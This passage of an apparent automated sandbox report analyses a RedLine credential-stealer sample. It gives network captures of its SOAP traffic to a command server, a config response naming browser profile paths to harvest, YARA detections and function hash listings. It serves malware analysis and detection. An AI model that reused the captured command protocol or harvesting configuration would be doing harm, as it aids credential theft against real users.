Jan 1, 2025 16:02:11.848563910 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848618031 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848670006 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848679066 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848722935 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848731995 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848769903 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848778963 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848795891 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848804951 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848889112 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848897934 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848925114 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848933935 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848942995 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848957062 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.848993063 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:11.890496016 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:15.728605032 CET	14555	49707	154.91.34.250	192.168.2.5
Jan 1, 2025 16:02:15.749540091 CET	49706	14555	192.168.2.5	154.91.34.250
Jan 1, 2025 16:02:15.750468016 CET	49707	14555	192.168.2.5	154.91.34.250
Jan 1, 2025 16:02:18.770379066 CET	58002	53	192.168.2.5	1.1.1.1
Jan 1, 2025 16:02:18.775289059 CET	53	58002	1.1.1.1	192.168.2.5
Jan 1, 2025 16:02:18.778067112 CET	58002	53	192.168.2.5	1.1.1.1
Jan 1, 2025 16:02:18.782995939 CET	53	58002	1.1.1.1	192.168.2.5
Jan 1, 2025 16:02:19.226681948 CET	58002	53	192.168.2.5	1.1.1.1
Jan 1, 2025 16:02:19.231713057 CET	53	58002	1.1.1.1	192.168.2.5
Jan 1, 2025 16:02:19.232001066 CET	58002	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:02:05.406799078 CET	58292	53	192.168.2.5	1.1.1.1
Jan 1, 2025 16:02:18.767663002 CET	53	52760	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 16:02:05.406799078 CET	192.168.2.5	1.1.1.1	0x5307	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 16:02:05.413955927 CET	1.1.1.1	192.168.2.5	0x5307	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

154.91.34.250:14555

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	154.91.34.250	14555	1960	C:\Users\user\Desktop\ep0X2wemcU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:01:59.437362909 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.91.34.250:14555 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jan 1, 2025 16:02:00.014753103 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 01 Jan 2025 15:01:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jan 1, 2025 16:02:05.093967915 CET	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 154.91.34.250:14555 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jan 1, 2025 16:02:05.256057024 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:05.365859985 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 4951 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 01 Jan 2025 15:02:05 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>113.88.5.211</b:string><b:string>113.88.5.211</b:string><b:string>103.87.70.104</b:string></a:BlockedIP><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\R [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	154.91.34.250	14555	1960	C:\Users\user\Desktop\ep0X2wemcU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:08.223031998 CET	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 154.91.34.250:14555 Content-Length: 1171198 Expect: 100-continue Accept-Encoding: gzip, deflate
Jan 1, 2025 16:02:11.374483109 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 01 Jan 2025 15:02:11 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	154.91.34.250	14555	1960	C:\Users\user\Desktop\ep0X2wemcU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:11.382487059 CET	242	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 154.91.34.250:14555 Content-Length: 1171190 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jan 1, 2025 16:02:15.728605032 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 01 Jan 2025 15:02:15 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	10:01:57
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\ep0X2wemcU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ep0X2wemcU.exe"
Imagebase:	0x60000
File size:	97'792 bytes
MD5 hash:	F0C6F971C7F14C03D37F035434567FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2197772354.0000000002460000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:01:57
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 05D99628 Relevance: 16.2, Strings: 12, Instructions: 1183COMMON

Download Yara Rule

Strings

4csq, xrefs: 05D99FBC
$sq, xrefs: 05D99CB3
csq, xrefs: 05D99FF6
$sq, xrefs: 05D9A64B
,wq, xrefs: 05D9A247
Nvrq, xrefs: 05D99930
$sq, xrefs: 05D99CCD
csq, xrefs: 05D99FDC
(_sq, xrefs: 05D9A0DE
4csq, xrefs: 05D99FA2
Hwq, xrefs: 05D9A3E2
(_sq, xrefs: 05D9A0C4

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: (_sq$(_sq$,wq$4csq$4csq$Hwq$Nvrq$$sq$$sq$$sq$csq$csq
API String ID: 0-953788588
Opcode ID: 137f258861095d44a25a94559e384a8932860b19abe71ab2fc29764ee1d6a193
Instruction ID: 4c51bd986b08aa7b9051563f963b6469ffd3b5411960d7a3f855c923145ce789
Opcode Fuzzy Hash: 137f258861095d44a25a94559e384a8932860b19abe71ab2fc29764ee1d6a193
Instruction Fuzzy Hash: 7A827570B041244BCF69E77D886166DBAF3BFCC700B60486ED44AEB385EE348D425BA5

Function 0068E7B0 Relevance: 12.2, Strings: 9, Instructions: 929
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xmc, xrefs: 0068F52D
Xmc, xrefs: 0068F46F
Xmc, xrefs: 0068F39E
Xmc, xrefs: 0068F71A
Xmc, xrefs: 0068F6A7
Xmc, xrefs: 0068E961
Xmc, xrefs: 0068E8AB
Xmc, xrefs: 0068F79C
Xmc, xrefs: 0068F5EB

Memory Dump Source

Source File: 00000000.00000002.2197090417.0000000000680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: Xmc$Xmc$Xmc$Xmc$Xmc$Xmc$Xmc$Xmc$Xmc
API String ID: 0-4181278417
Opcode ID: e4f208b239e3eb1b43665782530b0b0f396935ae167680ab94a0f66e8f637995
Instruction ID: 82c481ab090ed96d6af6e960538e44622b268ed1f56479213348806963f35147
Opcode Fuzzy Hash: e4f208b239e3eb1b43665782530b0b0f396935ae167680ab94a0f66e8f637995
Instruction Fuzzy Hash: 1F82EB74B002148FDB54DF64D898BADBBB2FF88300F1485A9E94A9B3A5DB359D81CF50

Function 05D9DD00 Relevance: 8.0, Strings: 6, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$sq, xrefs: 05D9DDA5
$sq, xrefs: 05D9DD58
4'sq, xrefs: 05D9DEF6
$sq, xrefs: 05D9DDB5
4|xq, xrefs: 05D9E2ED
$sq, xrefs: 05D9DEE7

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: 4'sq$4|xq$$sq$$sq$$sq$$sq
API String ID: 0-4050719396
Opcode ID: 01b020381c6719addbe0de547eed931d9754f6d7bd0eec993f57a9c698a1f4f5
Instruction ID: c8552bae216910dc58c39634b3bcc95b3f4983a35e705baf0d7e41ea5da00b9b
Opcode Fuzzy Hash: 01b020381c6719addbe0de547eed931d9754f6d7bd0eec993f57a9c698a1f4f5
Instruction Fuzzy Hash: 0E021A74B042198FDB18DF69C894AAEBBF6BF89300F14846AE54AEB351DF349D418F50

Function 05D93320 Relevance: 6.7, Strings: 5, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hwq, xrefs: 05D93779
Hwq, xrefs: 05D93701
Hwq, xrefs: 05D937C0
Hwq, xrefs: 05D936D0
Hwq, xrefs: 05D93732

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: Hwq$Hwq$Hwq$Hwq$Hwq
API String ID: 0-154242596
Opcode ID: 9531a9c3d854ddd927771d1fac96bab5f8151decd6f760a61977ee2af586e514
Instruction ID: 66b8b6b2b3709f18780aa629d71581b97cc70b0a6fbdf81bc788d00b63552334
Opcode Fuzzy Hash: 9531a9c3d854ddd927771d1fac96bab5f8151decd6f760a61977ee2af586e514
Instruction Fuzzy Hash: C4028075A04256CBCF19DF74D4502BDFBB2FF85300F248A6AD446AB241EB74EA85CB90

Function 05D94468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad559d3e0a148147b1322574edd9a9f516497c161a0a4d24b968d6cc6d07ba40
Instruction ID: 8516af7ce746393a1e1ba941e02deb8ac920d486974d3c6352f60db02c540676
Opcode Fuzzy Hash: ad559d3e0a148147b1322574edd9a9f516497c161a0a4d24b968d6cc6d07ba40
Instruction Fuzzy Hash: 2B828C78614216CFEF68EF24D855B697BF2BF48208F1041EAD809DB396EB349945CF90

Function 05D91210 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae197ff38dd18ae4477abdbeec12554e8bc4709ab8b0f5c17c8726ac09fe4f2
Instruction ID: 179549322ced20a4db497d54845b0b23e401d148b31264c3980cdde9b1723575
Opcode Fuzzy Hash: aae197ff38dd18ae4477abdbeec12554e8bc4709ab8b0f5c17c8726ac09fe4f2
Instruction Fuzzy Hash: 9AF14078A002199FDF08DBF5D894ABEB7B6EF88300F409419E509AB395CB35AD41DF24

Function 05DE1550 Relevance: 23.9, Strings: 18, Instructions: 1409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L\c, xrefs: 05DE1666
D[c, xrefs: 05DE19FB
(Zc, xrefs: 05DE1B65
Yc, xrefs: 05DE263B
@Zc, xrefs: 05DE1C27
D[c, xrefs: 05DE1A05
<]c, xrefs: 05DE169C
D[c, xrefs: 05DE1857
XZc, xrefs: 05DE1E79
T]c, xrefs: 05DE173E
l]c, xrefs: 05DE1977
D[c, xrefs: 05DE180E
|\c, xrefs: 05DE1708
Zc, xrefs: 05DE22B7
D[c, xrefs: 05DE1841
d\c, xrefs: 05DE17AA
$]c, xrefs: 05DE1945
pZc, xrefs: 05DE238B

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: $]c$(Zc$<]c$@Zc$D[c$D[c$D[c$D[c$D[c$L\c$T]c$XZc$d\c$l]c$pZc$|\c$Yc$Zc
API String ID: 0-3329145966
Opcode ID: 98f5e0154a334536031dc5ef39bc4d433aa0c17441e175eb6f50f5d7227705f3
Instruction ID: e6d144a06bf5350fe23034a48408f7c114ac833cfcfcf14b4c58ca6205362df7
Opcode Fuzzy Hash: 98f5e0154a334536031dc5ef39bc4d433aa0c17441e175eb6f50f5d7227705f3
Instruction Fuzzy Hash: 6BC22E74B006189FCB14DF58C891EADBBB6FF88700F51809AE60AAB361DB71AD45CF51

Function 05DE0048 Relevance: 3.2, Strings: 2, Instructions: 665COMMON

Download Yara Rule

Strings

lac, xrefs: 05DE02F2
ac, xrefs: 05DE04C5

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: lac$ac
API String ID: 0-3962756838
Opcode ID: 3236f6004ef83c126cb0c6bd200ff0c2c2c26df4e8b517cf923119cabcf8a13c
Instruction ID: a14c854d55904faceef1d2296e200209237474b578cfc0cbc0347d4604f382dd
Opcode Fuzzy Hash: 3236f6004ef83c126cb0c6bd200ff0c2c2c26df4e8b517cf923119cabcf8a13c
Instruction Fuzzy Hash: D34248B0700A248FCB29EF68D49056EBBB2FFC5700F414D5DE502AF391CB75A9058B96

Function 05DE0000 Relevance: 2.8, Strings: 2, Instructions: 341COMMON

Download Yara Rule

Strings

lac, xrefs: 05DE02F2
ac, xrefs: 05DE04C5

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: lac$ac
API String ID: 0-3962756838
Opcode ID: 5efbfa3d222a681f2f4da3d59ac72979ef4e9925042c2358eee7acd81f0f84ee
Instruction ID: 52cef94cf25a3b1da1fb693f54e01335eba7136d74844b790e196a4e7143f8ad
Opcode Fuzzy Hash: 5efbfa3d222a681f2f4da3d59ac72979ef4e9925042c2358eee7acd81f0f84ee
Instruction Fuzzy Hash: B6D1AC30B042049FDB05EFA8C859A6E7BB2FF89700F05809AE5119F3A6DBB1DD45CB91

Function 05D975E8 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05D974A6), ref: 05D97656

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: adaff8b7f04e1667fa5564c76e22363ef29ae09f03ba8667db61a91e28164dd2
Instruction ID: 93f79ccd8d20852d218bdd488f6b1eb7be0bb2617d3cbec6135cb4a8051b3a8d
Opcode Fuzzy Hash: adaff8b7f04e1667fa5564c76e22363ef29ae09f03ba8667db61a91e28164dd2
Instruction Fuzzy Hash: 5011E2B6C002498FDB14DFAAC844A9EFBF5EF89220F14842AD419B7710C379A545CFA5

Function 05D97148 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05D974A6), ref: 05D97656

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ce3b21d371ab6a79f0071fedcf0b3b96020242205f75af88106203c11eb2828b
Instruction ID: 703433feb30e93409b492a29ca798b999a4be751b6c3a1aebda94963cc774b0e
Opcode Fuzzy Hash: ce3b21d371ab6a79f0071fedcf0b3b96020242205f75af88106203c11eb2828b
Instruction Fuzzy Hash: EC1120B5D002498FCB24CF9AC844B9EFBF5EF89220F14842AD869B7700D379A545CFA4

Function 00680CE0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00680D47

Memory Dump Source

Source File: 00000000.00000002.2197090417.0000000000680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_ep0X2wemcU.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 03572b5f30dd34b278dabb32119e4fbfd9897068fc9649887720c9e3d537d11e
Instruction ID: f5c04d17dde9198851f6b596200c00091796fe1cc39517217af948a0daccfdbc
Opcode Fuzzy Hash: 03572b5f30dd34b278dabb32119e4fbfd9897068fc9649887720c9e3d537d11e
Instruction Fuzzy Hash: D31116B19002498FDB20DFAAC44579EBFF5EF48324F20881AD419A7250C7756544CFA4

Function 00680CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00680D47

Memory Dump Source

Source File: 00000000.00000002.2197090417.0000000000680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_ep0X2wemcU.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 90787e9fee6b3acf1c666c246f7cec3492a42da6a545e9f28a629f66dbabd253
Instruction ID: 03c6452ea0f78d0788d9f4ec57339f14e0e29d17206cd2ee806d6707470dd51f
Opcode Fuzzy Hash: 90787e9fee6b3acf1c666c246f7cec3492a42da6a545e9f28a629f66dbabd253
Instruction Fuzzy Hash: AD11F5B5D002498FDB20DFAAC44579EBFF5EF48324F24881AD519A7240CB796544CBA1

Function 05DE344F Relevance: 1.3, Instructions: 1305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7a0c56839ee2d0b2498f165fe0c34db37552e7e5936564ba50622f8dc249ec
Instruction ID: 4a8679073bc1edff9fe7c1b3609787f988b0095176881f4faafdf71df5c5f12b
Opcode Fuzzy Hash: 4a7a0c56839ee2d0b2498f165fe0c34db37552e7e5936564ba50622f8dc249ec
Instruction Fuzzy Hash: C3B16E74B042449FCB05EB68C894A7EBBF2EF89710F14846AE5159B3A1CB71EC45CB61

Function 05DE3138 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
